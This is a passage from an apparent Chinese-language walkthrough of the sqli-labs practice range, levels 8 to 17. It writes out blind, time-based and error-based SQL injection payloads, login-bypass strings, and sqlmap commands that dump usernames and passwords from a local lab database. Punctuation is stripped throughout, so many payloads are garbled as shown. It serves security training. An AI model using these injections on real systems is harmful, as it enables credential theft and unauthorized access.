)
less-8试试?id1没错尝试?id1报错即本关闭合符号至少包括一个单引号继续尝试?id1 -- 页面显示正常说明本题采用单引号闭合本题与第七关的不同仅仅在于闭合方式和页面返回内容但页面返回内容本质没有变化。后续过程与less-7一致用到了布尔盲注和延时盲注的知识点可以参考lz的另一篇帖子sql-labs-master靶场通关记录less 1-7里面记录了注入的整个详细过程已累晕(((φ(◎ロ◎;)φ)))这里就不再重复了。最后通过语句?id1 and if(ascii(substr((select password from users where usernameDhakkan),a,1))b,sleep(5),1) --得到密码。less-9?id1显示正常接着继续猜闭合条件。猜了一圈发现页面显示内容居然都没变首先怀疑是不是用了一些别的闭合方式但总的闭合方式是有限的就算是一些奇怪的组合也会部分正确。接着怀疑是不是正常情况和报错情况都设计成了同样的显示内容。进行测试。这里lz用了一个比较鸡贼的方法爆破?id1 and if(11,sleep(5),true) -- 爆破的点设置在了包里的符号上爆一下到底是什么闭合方式好巧居然就是单引号后续步骤与第七关一致。less-10与第九关类似通关同样的方式爆出闭合方式发现是双引号后续步骤与第七关一致。lz突然发现一个坑。%后面接的是十六进制数这两题能爆出来单纯是因为其中没有出现字母如果有字母出现呢简单分开爆就行了第一位从2-7第二位从A到F以及0-9依然能够爆出。至于为什么是2-7和A到F以及0-9......附上ASCII码表截自菜鸟教程less-11一看见登录界面就想起万能密码试一下 or 11 -- 进了运气比较好一次就猜对了闭合方式然而至此跟爆数据没什么关系。看到页面有回显但网页URL没有变化推测是POST传参看看bp抓个包得到传参名为uname和passwd发送到repeater模块中重发测试先判断一下字段数 order by 2 -- 到3时报错即有两个回显位通过union select看有无回显后续步骤一样望到头与第一关类似了就是单纯的联合注入。less-12与11关原理一致闭合方式变为了 ) 。后续步骤依旧与第一关类似less-13password处输入 or 11 -- 页面显示报错信息可以采用报错注入闭合方式改为了单引号加括号)) or 11 -- 后续步骤与第五关一致本关依旧有回显位数限制不能使用guoup_concat脱库而是采用) or updatexml(,concat(!,(select concat(username,:,password) from users limit a,1)),) -- 通过修改a的参数来获取数据less-14本关采用双引号闭合在注入 or 11 -- 时显示成功登录后续与13关一致通过” or updatexml(,concat(!,(select concat(username,:,password) from users limit 0,1)),) -- 获得数据less-15闭合形式回到了单引号 or 11 -- 与前两关不同的是这关没有报错回显了采用盲注 or if(ascii(substr((select password from users where usernameDhakkan),a,1))b,sleep(5),1) -- 获得数据好单调来来回回都是这几招试一下sqlmaplz是在kali中使用sqlmap执行语句sqlmap -u http://192.168.47.226/bachang/sqli-labs-master/Less-15/ --datauname1passwd2 --dbs--dbs用于获取数据库名--data中的为注入点的传参名前面-u后面接的为url本机一共爆出7个库好家伙把我皮卡丘都爆出来了继续爆security库sqlmap -u http://192.168.47.226/bachang/sqli-labs-master/Less-15/ --datauname1passwd2 -D security -tables -batch-D指定库名-tables:爆表名-batch跳过询问自动为默认回答Y获得四个表名继续爆userssqlmap -u http://192.168.47.226/bachang/sqli-labs-master/Less-15/ --datauname1passwd2 -D security -T users -columns -batch-columns爆字段名最终获得三个字段dump爆一下sqlmap -u http://192.168.47.226/bachang/sqli-labs-master/Less-15/ --datauname1passwd2 -D security -T users -columns -dump -batch或者sqlmap -u http://192.168.47.226/bachang/sqli-labs-master/Less-15/ --datauname1passwd2 -D security -T users-C username,password-dump -batch等待爆破完成后得到数据也可以通过sqlmap -u http://192.168.47.226/bachang/sqli-labs-master/Less-15/ --datauname1passwd2 -dump -batch一句话直接爆所有less-16闭合方式变为了),其他跟前一关一致通过语句) or if(ascii(substr((select password from users where usernameDhakkan),a,1))b,sleep(5),1) -- 获得数据。或者sqlmap同理less-17注入测试页面显示报错感觉跟之前关卡是有不同的PASSWORD RESET是提醒我们重置密码无意间同时注入两个参数时居然显示登录成功了闭合方式为单引号看来是username不能为空测试一下错误的闭合方式页面有报错显示那就报错注入咯继续沿用之前类似的注入语句 or updatexml(,concat(!,(select concat(username,;,password) from users limit 0,1)),) -- 结果页面发生了新的情况You cant specify target table users for update in FROM clause在 FROM子句中无法指定更新目标表 users没学过现学一下MySQL 限制不能在同一条 UPDATE/DELETE 语句中同时把目标表放在FROM查询子句里。 简单来说就是不能又修改users而子查询又直接FROM users。解决方法再套一层。这里有两种方法可以成功注入方法1 or updatexml(,concat(!,(select concat(username,;,password) from (select username, password from users limit 0,1) a)),) -- 方法2 or extractvalue(1,concat(!,(select * from(select concat(username,:,password) from users limit 0,1) a))) -- 不知道为啥这一关的数据库账号密码全部变成0了需要注意的是给内层子查询套一层派生表并加别名也就是(select username, password from users limit 0,1) a这里的a